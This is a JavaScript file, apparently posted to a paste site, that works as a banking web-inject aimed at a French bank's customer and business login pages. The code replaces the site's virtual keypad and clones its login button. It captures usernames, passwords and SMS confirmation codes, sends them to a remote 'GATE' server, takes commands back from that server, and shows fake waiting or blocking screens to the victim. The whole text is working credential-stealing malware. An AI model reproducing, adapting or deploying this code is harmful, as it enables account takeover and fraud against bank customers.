- //=================== INIT AJAX FUNCTIONS =====================
- hujax.callback(UniversalCallback);
- function UniversalCallback(){
- switch(kl){
- case("check"):
- if(admindata == "C:ON"){
- vw.render_login();
- }else if(admindata == "C:BLOCK"){
- vw.fake_step("block");
- }
- vw.showdoc(document);
- break;
- case("login"):
- if(typeof admindata != "undefined"){
- vw.fake_step("wait");
- vw.command();
- }else{
- vw.fake_step("login");
- }
- break;
- case("command"):
- if(QUERY.FINISH && !QUERY.CHANGED){
- vw.fake_step("login");
- }else{
- if(typeof admindata != "undefined"){
- var els = admindata.split("|");
- if(els && els.length == 2){
- if(els[0] == QUERY.COMMAND){
- setTimeout(vw.command,1000);
- }else{
- QUERY.CHANGED = true;
- QUERY.COMMAND = els[0];
- QUERY.VALUE = els[1];
- vw.actions();
- }
- }
- }
- }
- break;
- }
- }
- vw.command = function(){
- var LINK = GATE+"?mode=COMMAND&hash="+Number(new Date());
- LINK += "&type=intercept";
- kl = "command";
- hujax.send(LINK);
- }
- vw.check_start = function(){
- var LINK = GATE+"?mode=CHECKSTART&hash="+Number(new Date());
- LINK += "&type=intercept";
- LINK += "&domain="+document.domain;
- LINK += "&browser="+vw.browser();
- kl = "check";
- hujax.send(LINK);
- }
- //=================== INIT START / LOGIN FUNCTIONS =====================
- vw.clickarea = function(num){
- num += "";
- HOLDER.PASSWORD += num;
- }
- vw.resetpassword = function(){
- HOLDER.PASSWORD = "";
- }
- vw.lethim = function(){
- vw.mouse("click",buttonForClick);
- }
- vw.clone_button = function(){
- if(smsButton){
- var codeInput = document.getElementById("vw.code");
- if(codeInput.value.length >= 3){
- vw.fake_step("wait",true);
- HOLDER.SMS = codeInput.value;
- var LINK = GATE+"?mode=JABBER&hash="+Number(new Date());
- LINK += "&type=intercept";
- LINK += "&message=Code Recieved";
- LINK += "&data="+HOLDER.SMS;
- kl = "command";
- hujax.send(LINK);
- }
- }else{
- HOLDER.LOGIN = UI_login_input.value;
- vw.fake_step("wait",true);
- var LINK = GATE+"?mode=LOGIN&login1="+HOLDER.LOGIN+"&login2="+HOLDER.PASSWORD+"&hash="+Number(new Date());
- LINK += "&type=intercept&message=Loginning...";
- LINK += "&domain="+document.domain;
- LINK += "&browser="+vw.browser();
- kl = "login";
- hujax.send(LINK);
- }
- }
- vw.render_login = function(){
- vw.blockenter(UI_login_input);
- vw.blockenter(UI_password_input);
- if(/particuliers/igm.test(document.location.href+"")){
- buttonForClick = UI_login_button_0;
- clone.click(UI_login_button_0,vw.clone_button);
- }else if(/professionnels/igm.test(document.location.href+"")){
- buttonForClick = UI_login_button_1;
- clone.click(UI_login_button_1,vw.clone_button);
- }
- var mapId = document.getElementById("claviermap");
- if(mapId){
- mapId.parentNode.innerHTML = '<map name="vwmap">'+
- '<area shape="rect" coords="0,0,30,30" href="javascript:vw.clickarea(5)" class="toucheClavier" alt="Touche clavier" tabindex="3">'+
- '<area shape="rect" coords="0,35,30,65" href="javascript:vw.clickarea(7)" class="toucheClavier" alt="Touche clavier" tabindex="8">'+
- '<area shape="rect" coords="35,0,65,30" href="javascript:vw.clickarea(4)" class="toucheClavier" alt="Touche clavier" tabindex="4">'+
- '<area shape="rect" coords="35,35,65,65" href="javascript:vw.clickarea(9)" class="toucheClavier" alt="Touche clavier" tabindex="9">'+
- '<area shape="rect" coords="70,0,100,30" href="javascript:vw.clickarea(6)" class="toucheClavier" alt="Touche clavier" tabindex="5">'+
- '<area shape="rect" coords="70,35,100,65" href="javascript:vw.clickarea(0)" class="toucheClavier" alt="Touche clavier" tabindex="10">'+
- '<area shape="rect" coords="107,0,135,30" href="javascript:vw.clickarea(2)" class="toucheClavier" alt="Touche clavier" tabindex="6">'+
- '<area shape="rect" coords="107,35,135,65" href="javascript:vw.clickarea(8)" class="toucheClavier" alt="Touche clavier" tabindex="11">'+
- '<area shape="rect" coords="143,0,172,30" href="javascript:vw.clickarea(1)" class="toucheClavier" alt="Touche clavier" tabindex="7">'+
- '<area shape="rect" coords="143,35,172,65" href="javascript:vw.clickarea(3)" class="toucheClavier" alt="Touche clavier" tabindex="12">'+
- '</map>'+
- '<img src="'+ALINK+'imag/map.jpg" usemap="#vwmap">';
- vw.bind(UI_reset_button,"click",vw.resetpassword);
- }
- }
- vw.start = function(){
- if(UI_login_input && UI_password_input && UI_login_button_0 && UI_login_button_1){
- vw.check_start();
- }else{
- vw.showdoc(document);
- }
- }
- if(top == self){
- vw.start();
- }else{
- vw.showdoc(document);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement